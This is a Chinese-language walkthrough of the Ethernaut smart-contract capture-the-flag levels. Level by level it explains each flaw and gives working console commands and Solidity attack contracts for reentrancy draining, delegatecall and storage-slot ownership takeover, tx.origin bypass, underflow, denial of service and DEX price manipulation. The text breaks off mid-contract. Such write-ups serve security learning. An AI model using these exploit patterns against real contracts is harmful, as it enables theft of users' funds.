本文是作者在ethernaut闯关时记录的解题思路,涵盖合约分析和攻击步骤,操作基本都是在浏览器控制台和Remix完成。如有错误之处,还望读者及时指出。
这题要做的是 成为owner并把合约余额减到0
考察对 receive()
函数、权限控制和资金提取机制的理解。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
//构造函数,在部署时就将部署者设为owner,同时将owner的contributions设为1000eth
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
//玩家调用此函数向合约转账可提高玩家的contributions,每次最多0.001 eth,玩家的contributions超过owner时,玩家会成为新的owner
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) { //每次上限0.001,想超过owner的1000几乎是不可能的
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
//将合约于余额取出
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
//合约定义了receive()函数表示该合约可以接收eth(直接转账),需要转账者的contributions大于0,然后会将转账者设为owner
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
通过分析合约代码可以知道这关的思路是 玩家先调用contribute()
使自己的contributions
大于0,然后直接向合约转账触发receive()
,使玩家成为owner
,最后调用withdraw()
将合约余额减到 0 。
1.调用contribute()
函数,带ETH
await contract.contribute({from: player, value: web3.utils.toWei("0.00001","ether")});
2.直接往合约地址转 账,触发 receive()
await contract.sendTransaction({ from: player, value: web3.utils.toWei("0.0001", "ether") });
3.从合约里把ETH取出来
await contract.withdraw();
查看合约余额是否为0(单位wei)
(await web3.eth.getBalance(contract.address)).toString();
这题的目标是 成为owner
考察旧版 Solidity 构造函数命名错误导致的合约所有权漏洞
……
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
//Solidity 旧版本里构造函数必须和合约名完全一致,
//而这里写成了 function Fal1out()(数字 1 而不是字母 l),
//所以它不是构造函数,而是一个普通的公共函数。
……
直接调用Fal1out()
函数,附带ETH。
await contract.Fal1out( {from: player, value: web3.utils.toWei("0.00001","ether")});
通过await contract.owner()
可以看到owner
变成了玩家。
这是一个掷硬币的游戏,目标是连续猜对10次
考察区块链上伪随机数可预测性导致的安全漏洞。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1)); //读取上一个区块的hash,block.number 是当前执行该交易所在区块的编号
if (lastHash == blockValue) { //拒绝重复使用同一个 hash,即上一次成功调用时使用的 blockhash 与本次相同,交易会 revert()
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR; //把 256-bit 的哈希当作大整数除以一个常量 FACTOR,结果只可能是 0 或 1,映射为 false/true
bool side = coinFlip == 1 ? true : false; //FACTOR 选的值约等于 2^255。哈希值 blockValue 范围是 0 ~ 2^256 - 1
if (side == _guess) { //比较是否猜对
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
所以思路就是 获取上一区块hash → 计算 side → 调用 flip()
使用remix部署一个攻击合约到sepolia,调用10次即可。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
function consecutiveWins() external view returns (uint256);
}
contract CoinFlipAttack {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
ICoinFlip public CoinFlip;
constructor(address _target) {
CoinFlip = ICoinFlip(_target);
}
function attack() public {
//计算逻辑直接复制过来
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
CoinFlip.flip(side); //调用flip进行猜测
}
//查看获胜次数
function wins() external view returns (uint256) {
return CoinFlip.consecutiveWins();
}
}
这题目标是成为owner
考察的核心是 权限认证,合约用 tx.origin
判断调用者身份导致身份验证被绕过。
攻击者可以通过攻击合约来调用,这样会使 tx.origin==攻击者
,msg.sender==攻击合约
,从而通过if (tx.origin != msg.sender)
判断并执行owner = _owner;
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone {
function changeOwner(address _owner) external ;
}
contract TelephoneAttack {
ITelephone telephone;
constructor(address _target) {
telephone = ITelephone(_target);
}
function attack() external {
telephone.changeOwner(msg.sender);
}
}
部署后调用attack()
即可。
这题目标是让自己的Token余额大于20
考察整数下溢/溢出与错误的边界检查。
在旧版 Solidity/未用 SafeMath 时,算术会环绕(wrap),从而被利用使余额变成巨大的值。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint256) balances; //用了 uint256来定义 balance 的值
uint256 public totalSupply;
constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value; //无符号整数运算,若 _value > balances[msg.sender] 会下溢,结果变成一个很大的uint
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
思路:调用 transfer()
时传入比自己余额更大的 _value
,触发下溢使自己的余额变为巨大的数
await contract.transfer("0x2b21942E147C63F48d20d171cc2b931329C84a56", 21);
除玩家外任意地址,一个大于20的数。
这题目标是 成为owner
考察 delegatecall
delegatecall
是 EVM 的一种低级调用,与普通的 call
行为不同。它会在调用者合约的上下文中执行目标合约的代码,因此被调用的代码在运行时访问和修改的是调用者合约(caller)的存储槽)(storage),而不是目标合约自身的存储。同时,delegatecall
会保留原始的 msg.sender
和 msg.value
,也就是说,被执行的代码看到的 msg.sender
是最初发起交易/调用的地址。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// 合约 A
contract Delegate {
address public owner; //存储在slot 0; slot是存储数据的固定大小单元,每个槽的大小为 32 字节(256 位),0为其索引。
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
// 合约 B
contract Delegation {
address public owner; //存储在slot 0
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
代码中有两个合约,为方便区分用A
、B
代表这两个合约。
先向合约B
转账触发fallback()
,然后执行delegatecall(msg.data)
,data
设为A
的pwn()
,这会把slot 0
修改为msg.sender
。
pwn()
是A用来修改owner
的函数,B
使用delegatecall
调用了这个函数,但是在B
的上下文执行,也就是在B
自身的存储进行修改,而两个合约的owner
存放位置都是自身第一个slot
。
运行下面命令即可
await web3.eth.sendTransaction({
from: player,
to: contract.address,
data: web3.utils.sha3('pwn()').slice(0,10)
});
目标:使合约的余额大于0
考察 selfdestruct()
此函数可以把ETH强制送到任意合约,使目标合约余额增加,而不需要目标合约同意或有 payable/fallback
目标合约没有 receive()
/ fallback()
/ payable
函数,直接向这种合约发交易(普通 transfer/send/call)时,会因为没有接收逻辑或没有 payable
而 回退(revert),资金不会进入,但是 selfdestruct(target) 会直接把合约剩余的 ETH 转到 target
地址,不会触发目标合约的代码执行
所以思路就是部署一个合约,部署时转入ETH,然后使用selfdestruct()
向目标合约转账。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ForceSend {
constructor(address payable _target) payable {
selfdestruct(_target);
}
}
目标:找到合约变量存储的值
考察链上数据透明性
无论是 public
还是 private
,状态变量都会写在合约的存储槽里,任何人可以用 web3.eth.getStorageAt
、Etherscan 或者区块链浏览器工具直接查看
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked; //solt 0
bytes32 private password; //solt 1
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
password
存储在 slot 1(因为 slot 0 存的是 locked
)
获取password
const pw = await web3.eth.getStorageAt(contract.address, 1)
调用函数unlock()
await contract.unlock(pw);
目标:保住王位
提交实例给关卡时, 关卡会重新申明王位. 玩家需要阻止关卡重获王位来通过这一关。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value); //新king会向旧king转账,如果旧king拒绝接收,交易revert就能保住王位
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
部署一个合约获取王位,合约的receive()
函数内直接revert()
,一旦收到转账就回滚,让交易失败。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract KingAttack {
function attack(address _target) external payable {
(bool success, ) = _target.call{value: msg.value}("");
require(success, "Failed to claim kingship");
}
receive() external payable {
revert();
}
}
可以先用(await contract.prize()).toString()
查看当前的prize是多少,attack时填入比当前的大就行。
目标:偷走合约的所有资产
考察重入攻击
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}(""); //这里先进行交易
if (result) {
_amount;
}
balances[msg.sender] -= _amount; //交易完成才修改用户的余额
}
}
receive() external payable {}
}
因为在进行交易时,记录用户余额的变量还未修改,攻击者可以定义receive()
,在接收转账时再次调用withdraw()
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint256 _amount) external ;
}
contract Reentrace {
address payable owner;
IReentrance public reentrance;
uint256 public donation;
constructor(address _target) {
reentrance = IReentrance(_target);
}
function attack() public payable {
donation = msg.value;
reentrance.donate{value: msg.value}(address(this)); //使自己balance>0
reentrance.withdraw(msg.value); //提取余额
owner.transfer(address(this).balance); //转到玩家地址
}
receive() external payable {
uint256 bal = address(reentrance).balance;
for(int i = 0; i<10; i++)
if (bal > donation) {
reentrance.withdraw(donation); 在receive再次取款,因为此时balances[msg.sender]还未更新
} else if (bal > 0) {
reentrance.withdraw(bal);
}
}
}
如果交易失败可能是循环次数太多,达到了gas限制,增加 msg.value,每次取款多一点,尽量减少循环次数就能解决。
目标:让变量top
值为true
考察合约依赖外部调用的返回值,但没有保证一致性
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
goTo()
会调用 msg.sender
的isLastFloor()
函数,如果返回 false,则继续执行,然后设置 floor = _floor
,最后再调用一次 msg.sender.isLastFloor(floor)
,这次返回的值会赋给 top
所以要做的就是第一次返回false,第二次返回true
写一个恶意合约,实现 Building 接口,并让 isLastFloor()
的返回值根据调用次数变化
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IElvator {
function goTo(uint256 _floor) external ;
}
contract Building {
IElvator public elvator;
bool public is_top= false;
constructor(address _target) {
elvator = IElvator(_target);
}
function goToTop(uint256 _floor) public {
elvator.goTo(_floor);
}
//第一次返回 false,第二次返回 true
function isLastFloor(uint256) external returns (bool) {
if(!is_top) {
is_top = true;
return false;
} else {
return true;
}
}
}
部署时传入目标合约地址,接着调用goToTop()
函数,随便填一个大于0的数,然后合约会进入elvator.goTo()
,其中会调用两次isLastFloor()
,第一次进入if返回false
,第二次执行else返回true
。
目标:找到合约变量的值
考察存储布局
合约变量按声明顺序存到 storage 的 32 字节槽slot
里,较小类型会被打包到同一 slot。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true; //slot 0:locked 占 1 byte,剩下空着
uint256 public ID = block.timestamp; //slot 1:ID 占 256 bits,占满
uint8 private flattening = 10; //slot 2:flattening 占 8 bits
uint8 private denomination = 255; //slot 2:denomination 占 8 bits
uint16 private awkwardness = uint16(block.timestamp); //slot 2:awkwardness 占 16 bits
bytes32[3] private data; //slot 3:data[0] slot 4:data[1] slot 5:data[2]
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2])); //这里将data[2]转化为bytes16,也就是取 data[2] 的前 16 字节
locked = false;
}
…………
}
还是通过getStroageAt()
查看存储数据
1.获取data[2]
const key = await web3.eth.getStorageAt(contract.address, 5);
2.截取前 16 字节(0x + 32 hex chars = 34 长度)
const key = key.slice(0, 34);
3.调用unlock()
await constract.unlock(key);
目标:通过所有条件判断
考察对外部调用上下文、gas 管理和类型/位运算的理解与利用
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
//gate1 交易的发起者不能是调用者
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
//gete2 当前剩余 gas 对 8191 取模等于 0
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
//gate3.1 低32位 == 低16位
//gate3.2 低32位 != 全64位
//gate3.3 低32位 == tx.origin 的低16位
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
思路
gate1:使用外部合约来调用enter()
gate2:反复尝试以不同 gas 值调用目标的 enter()
—— 直到命中 gasleft() % 8191 == 0
gate3:高位在左边,低位在右边,uint截取是保留低位的。key
的长度是64位,把它分成4个部分,每部分16位,从左到右对应一到四部分。
低32位 == 低16位:这里一个是uint32
,一个是uint16
,长度不够的就需要在高位填0,所以这里key的第三部分就需要全为0。
低32位 != 全64位:第一和第二部分不能全是0。
低32位 == tx.origin 的低16位:第四部分等于交易发起者的低16位。
所以key的组成就是前32位不能全为0,第33到48位全为0,第49到64位是交易发起者地址的后16位。
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GateOneAttack {
IGatekeeperOne public gatekeeperOne;
constructor(address _target) {
gatekeeperOne = IGatekeeperOne(_target);
}
function attack() public {
//构造key
uint16 part4 = uint16(uint160(tx.origin));
uint64 key = (uint64(1)<<32)|uint32(part4); //<<32:左移32位,|:按位或运算符,相当于part4的值放在后32位
// 暴力尝试 gas
for (uint16 i = 0; i < 8191; i++) {
try gatekeeperOne.enter{gas: 8191 * 10 + i}(bytes8(key)) {
break;
} catch {}
}
}
}
调用 attack() 成功后提交即可。
和上一关相似
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
//gate1 交易的发起者不能是调用者
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
//gate2 调用者不能是合约账户
modifier gateTwo() {
uint256 x;
assembly { //assembly 块用于直接访问 EVM 的操作码
x := extcodesize(caller()) //caller():EVM 操作码,获取当前函数调用者的地址(即 msg.sender)
} //extcodesize(address):EVM 操作码,用于查询指定地址的代码大小,字节为单位
require(x == 0); //调用者的代码大小存储到汇编变量 x,x为0则说明调用者不是合约账户。
_;
}
//gate3 A ^ B = 全 1 (0xFFFFFFFFFFFFFFFF)
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
gate1:部署合约调用enter()
gate2:在构造函数内调用enter()
gate3:
A为uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
B为uint64(_gateKey)
需要A异或B等于全为1的64位,等价于 B = ~A
(B 是 A 的按位取反)
所以先将A取反的结果赋值给B,在让A与B异或。B = A ^ type(uint64).max
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GateTwoAttack {
IGatekeeperTwo public GatekeeperTwo;
constructor(address _GatekeeperTwo) {
GatekeeperTwo = IGatekeeperTwo(_GatekeeperTwo);
//计算key,B = A ^ type(uint64).max
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
GatekeeperTwo.enter(bytes8(key));
}
}
部署成功然后提交。
目标:把玩家持有的 NaughtCoin
余额变成 0
考察对ERC-20 标准(approve / allowance / transferFrom)的理解。
//防止Token拥有者转走自己的Token
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
合约只在 transfer()
上加了 lockTokens
限制,但 ERC20 的 approve()
+ transferFrom()
路径没有被限制,因此可以
approve()
一个 spender
transferFrom()
将 token
从 player
转走——transferFrom()
内部调用的是 _transfer()
(不触发 transfer()
的修饰器),从而绕过时间锁。 先定义receiver()
,用来接收转账
const receiver = "0x5af95dB6F5ED5e8Ff3d7f0f4812d8484342Db719";
然后授权
await contract.approve(player, web3.utils.toWei("1000000", "ether"), { from: player });
给receiver
转账
await contract.transferFrom(player, receiver, web3.utils.toWei("1000000", "ether"), { from: receiver });
查看余额,结果应为0
(await contract.balanceOf(player)).toString();
目标:成为owner
考察delegatecall
contract Preservation {
// public library contracts
address public timeZone1Library; //slot 0
address public timeZone2Library; //slot 1
address public owner; //slot 2
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
这题与之前的一道题有先相似,不过这次两个合约owner的slot索引并不相同,不能像之前那样解。
可以部署一个攻击合约,让攻击合约的owner
的 slot 索引以目标合约的owner
索引一致,
第一次调用:把 timeZone1Library()
所在的slot 0 改成攻击合约地址。
第二次调用:调用攻击合约的 setTime()
,在里面写入数据,从而覆盖 slot2,把自己设为 owner
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract PreservationAttack {
// 必须和目标合约的前三个状态变量保持“对齐”
address public timeZone1Library; // slot0
address public timeZone2Library; // slot1
address public owner; // slot2
function setTime(uint256 _addr) public {
owner = address(uint160(_addr)); // 把传进来的数当成地址写进 owner
}
}
先部署攻击合约
把 timeZone1Library
改成攻击合约
await contract.setFirstTime("攻击合约地址");
把 owner
改成玩家的地址
await contract.setFirstTime(player);
成功后owner
就会变成player。
目标:找到丢失的 SimpleToken
合约地址,并调用它的 destroy()
函数,把里面的 0.001 ETH 取出来
考察合约地址的计算方式
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply); //使用create创建合约
}
}
……
}
合约有两种创建方式
new
,地址 = keccak256(rlp(sender, nonce))
salt
的 new
,地址 = keccak256(0xff ++ sender ++ salt ++ keccak256(bytecode))
本题用的是第一种,所以SimpleToken.address = keccak256(rlp(Recovery_address, 1))[12:]
RLP 是 以太坊专门设计的一种数据编码格式
[12:] 是 去掉前 12 个字节,只保留后 20 字节,因为地址的长度是20字节
思路:
先计算出SimpleToken
合约的address
:
_ethers.utils.getContractAddress({from:contract.address,nonce:1});
然后在remix创建合约放入下面代码,因为只用到destory()
函数,所以放入destory()
的代码就够了。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleToken {
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
下一步连接合约实例,填入SimpleToken
的地址,点击At Address
接下来就调用destory()
函数,填入自己的地址。
交易成功提交即可。
目标:向 Ethernaut 提供一个Solver
合约,其对whatIsTheMeaningOfLife()
能够返回正确的 32 字节的响应。
也就是说,玩家要部署一个极小的合约(≤10 字节 runtime code)。 这个合约 在被调用时,无论收到什么 calldata,都返回 32 字节的 42
,通过代码注释部分得知magic number是42。
直接用浏览器控制台部署,因为合约部署本质上就是 发送一笔 to=null
的交易,data 填上 creation code
data = [creation code] + [runtime code]
,先执行creation code,然后返回runtime code
creation code:600a600c600039600a6000f3
60 0a PUSH1 0x0a // runtime code 长度 (10 字节)
60 0c PUSH1 0x0c // runtime code 在 creation code 里的起始位置
60 00 PUSH1 0x00 // 内存起始位置
39 CODECOPY // 把 creation code[0x0c..0x0c+0x0a] 拷贝到内存[0..0x0a]
60 0a PUSH1 0x0a // 长度 (10)
60 00 PUSH1 0x00 // 内存起始位置
f3 RETURN // 返回 runtime code,成为合约的最终代码
runtime code:602a60005260206000f3
60 2a PUSH1 0x2a // 压入常数 0x2a (也就是 42)
60 00 PUSH1 0x00 // 压入 0 (内存地址)
52 MSTORE // 把 42 写入内存[0..32),变成 32 字节: 0x...2a
60 20 PUSH1 0x20 // 压入 32 (要返回的数据长度)
60 00 PUSH1 0x00 // 压入 0 (返回起始偏移)
f3 RETURN // 返回内存[0..32),长度=32
data=“600a600c600039600a6000f3602a60005260206000f3”
部署后把这个合约地址传给 MagicNum.setSolver(address)
。
Ethernaut 会在后台对玩家传的 solver
地址发起一个 call,data = keccak256("whatIsTheMeaningOfLife()")[:4]
, 然后检查返回值是否是 32 字节的 42
攻击步骤:
const tx = await web3.eth.sendTransaction({ from: player, data: "0x600a600c600039600a6000f3602a60005260206000f3" })
await contract.setSolver(tx.contractAddress);
如遇到交易失败nonce too low: next nonce 394, tx nonce 393
这样的,稍等一会重试就行。
提交。
目标:成为owner
考察slot以及动态数组越界
分析代码合约继承了Ownable(),slot会先安排给Ownable()定义的变量,再安排本合约的变量。owner已在父合约中定义,但不确定位置,还是先看看源码。https://github.com/OpenZeppelin/ethernaut/blob/master/contracts/src/helpers/Ownable-05.sol
可以确定是在slot0.
接下来讨论数组越界的问题 codex
在合约中占的 slot 是 1
(slot0 = owner(20字节) + contact(1字节) ,slot1 = codex)。
实际上slot1只是存放了codex的长度,数组真正的内容从 keccak256(slotN)
这个位置开始顺序存放,在这题中N=1
。
调用retract()
把 length
溢出成 2^256-1
,这样任意大索引 i
都是合法的。
最后找到一个i
,满足keccak256(1) + i ≡ 0 (mod 2^256)
,这样 codex[i]
就会对应到 slot0,把 owner
改掉。
步骤:
makeContact()
函数,把 contact
置为 true
await contract.makeContact();
retract()
,造成数组下溢,从而允许用很大的索引 i
写到数组的任意slot
await contract.retract();
const codexSlotHash = await web3.utils.keccak256(web3.eth.abi.encodeParameter("uint256", 1));
const max = web3.utils.toBN('0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff');
const one = web3.utils.toBN(1);
const k = web3.utils.toBN(codexSlotHash);
const index = max.add(one).sub(k);
player
地址转为小写并去掉 0x
前缀,得到纯 40 个 hex 字符的地址字符串
const addr = player.toLowerCase().replace(/^0x/, '');
0x
的地址左侧用 0
填满到 64 个 hex 字符(即 32 字节),再加上 0x
前缀,构成标准的 bytes32
值
const payload = "0x" + addr.padStart(64, '0');
revise()
,使玩家地址覆盖slot0
await contract.revise(index.toString(), payload);
目标:owner
调用 withdraw()
时,拒绝提取资金
考察gas 消耗、call
的风险、DoS 攻击 分析代码可以找到突破点,就在withdraw函数的partner.call{value: amountToSend}("");
这行代码把 gas 原封不动地传给了对方。如果对方合约在 receive()
或 fallback()
里执行消耗大量 gas 的逻辑,就会拖垮整个 withdraw()
。
写一个攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DenialAttack {
// fallback 或 receive 中写死循环,消耗gas
fallback() external payable {
while (true) {
// 死循环
}
}
}
合约部署后在控制台运行
await contract.setWithdrawPartner("0xd9F874C70BBeeDf36d93d6F0e555e8c597bb3F11");` //攻击合约地址
然后运行,交易会失败
await contract.withdraw();
提交实例。
目标:以低于要求的价格购买商品
考察接口回调、view 函数限制、多次调用时机。
function buy() public {
IBuyer _buyer = IBuyer(msg.sender);
if (_buyer.price() >= price && !isSold) { //第一次调用price()
isSold = true;
price = _buyer.price(); //第二次调用price()
}
}
代码中共有两次调用price()
,为了能够成功买下商品,第一次返回一个 大于等于 100 的数(满足条件),第二次返回一个 小于 100 的数(改变最终价格)。
玩家需要部署一个实现了 IBuyer
接口的合约,Solidity 的 view
函数不能修改状态,但 可以读取链上状态并返回不同结果。
题目提示的关键:我们可以根据调用的上下文(例如 Shop.isSold
的值)在 price()
返回不同的价格。
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IShop {
function buy() external;
function isSold() external view returns(bool);
}
contract Buyer{
IShop shop;
constructor(address _shopAddr) {
shop = IShop(_shopAddr);
}
function buy() public {
shop.buy();
}
function price() external view returns (uint256){
// 第一次调用时 isSold 还是 false,返回 >=100
// 第二次调用时 isSold 已经变成 true,返回一个小于100的价格
if (!shop.isSold()) {
return 100;
} else {
return 1;
}
}
}
部署和约时传入shop
地址,然后调用攻击合约的buy()
函数,交易成功后price
的值会变成1
然后提交。
从 Dex
合约中 取出至少一种代币(token1
或 token2
)
初始条件:玩家持有 10 个 token1
和 10 个 token2
,合约各有 100
目标是通过价格操纵/交换,使合约的某一代币储备为 0,从而“窃取”合约里的代币
考察价格计算公式
function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
分析上面代码可得知交换逻辑。 比如玩家要用N个A代币去交换B代币,那么玩家得到的B代币的数量为M
M = N × 合约中B的余额 / 合约中A的余额
举例说明
第一次:
玩家用10个token1换token2
swap(token1, token2, 10)
swapAmount = (10 * 100) / 100 = 10
结果:玩家得到 10 token2,合约剩余token1 = 110,token2 = 90
第二次:
玩家用20个token2换token1
swap(token2, token1, 20)
swapAmount = (20 * 110) / 90 = 24
(向下取整)
结果:玩家得到 24 token1,合约剩余 token2 = 110,token1 = 86
重复此步骤直到合约中某种代币余额为0。
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDEX {
function swap(address from, address to, uint256 amount) external;
function approve(address spender, uint256 amount) external;
function token1() external view returns(address);
function token2() external view returns(address);
function balanceOf(address token, address account) external view returns (uint256);
}
interface IERC20 {
function transfer(address to, uint256 amount) external returns(bool);
function transferFrom(address from, address to, uint256 amount) external returns(bool);
function balanceOf(address who) external view returns(uint256);
function approve(address spender, uint256 value) external returns(bool);
}
contract DexAttack {
IDEX public DEX;
address public DEX_addr;
address public token1;
address public token2;
constructor(address _DEX) {
DEX_addr = _DEX;
DEX = IDEX(DEX_addr);
token1 = DEX.token1();
token2 = DEX.token2();
}
function pullFromEOA() external {
IERC20(token1).transferFrom(msg.sender, address(this), 10);
IERC20(token2).transferFrom(msg.sender, address(this), 10);
}
function attack() external {
// 授权 DEX 从本合约 transferFrom
DEX.approve(DEX_addr, 10000);
for (uint8 i = 0; i < 50; i++ ) {
uint256 dexT1 = DEX.balanceOf(token1, DEX_addr);
uint256 dexT2 = DEX.balanceOf(token2, DEX_addr);
// 如果任一被清空,成功
if (dexT1 == 0 || dexT2 == 0) break;
uint256 myT1 = IERC20(token1).balanceOf(address(this));
uint256 myT2 = IERC20(token2).balanceOf(address(this));
if (myT1 > 0) {
// 交换方向 token1 -> token2
// 安全 amount = min(myT1, dexT1)
uint256 amount = myT1;
if (amount > dexT1) amount = dexT1;
// 只在 amount>0 时调用
if (amount > 0) {
DEX.swap(token1, token2, amount);
}
} else {
// myT2 > 0, 交换 token2 -> token1
uint256 amount = myT2;
if (amount > dexT2) amount = dexT2;
if (amount > 0) {
DEX.swap(token2, token1, amount);
}
}
}
}
}
部署合约,传入DEX地址。
在控制台运行下面命令,给攻击合约授权,该地址为攻击合约的地址。
await contract.approve("0x48e5e5b63cedB813A8299dc7DAa334FBAbc99917",10);
然后调用pullFromEOA()
把代币都转到攻击合约。
最后调用attack()
。
目标:把合约的token1和token2的余额都变为0
考察对 ERC-20 行为(approve/transferFrom/decimals)与经济逻辑(价格公式) 的理解
function swap(address from, address to, uint256 amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
上面是关键代码,与上一题差不多,但是少了验证语句:
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens")
所以,Dex 没限制只能用 token1/token2 作为 from
,玩家可以用任意自定义代币来交换。
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDEXTwo {
function swap(address from, address to, uint256 amount) external;
function token1() external view returns(address);
function token2() external view returns(address);
}
interface IERC20 {
function transferFrom(address from, address to, uint256 amount) external returns(bool);
function balanceOf(address who) external view returns(uint256);
}
contract DexTwoAttack {
string public name = "AttackToken";
uint256 public TOTALSUPPLY = 10;
